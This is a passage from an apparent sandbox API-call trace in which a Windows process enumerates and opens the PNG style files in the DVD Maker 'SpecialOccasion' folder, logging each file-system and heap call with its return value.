ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 1 [0069.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0 [0069.359] GetLastError () returned 0x12 [0069.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.359] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0069.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0069.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0069.360] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="")) returned 1 [0069.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0069.360] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.360] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0069.361] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0069.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa1ad30 [0069.361] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa1ad30, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa1ad30, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0069.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa1ad30) returned 1 [0069.361] NtClose (Handle=0x170) returned 0x0 [0069.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0069.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0069.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.361] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0069.381] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.381] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0069.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0069.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a908 [0069.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa198d8 [0069.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.381] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1 [0069.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a928 [0069.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa199e0 [0069.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.382] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a948 [0069.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa19ae8 [0069.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.382] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a968 [0069.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa19bf0 [0069.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.383] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a988 [0069.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa19cf8 [0069.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.383] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a9a8 [0069.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa19e00 [0069.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.383] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0069.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.384] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.384] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x0, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1 [0069.384] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1 [0069.384] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.384] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.384] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.384] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.384] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.384] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.384] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1 [0069.384] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1 [0069.384] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1 [0069.384] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0 [0069.384] GetLastError () returned 0x12 [0069.384] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0069.384] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, 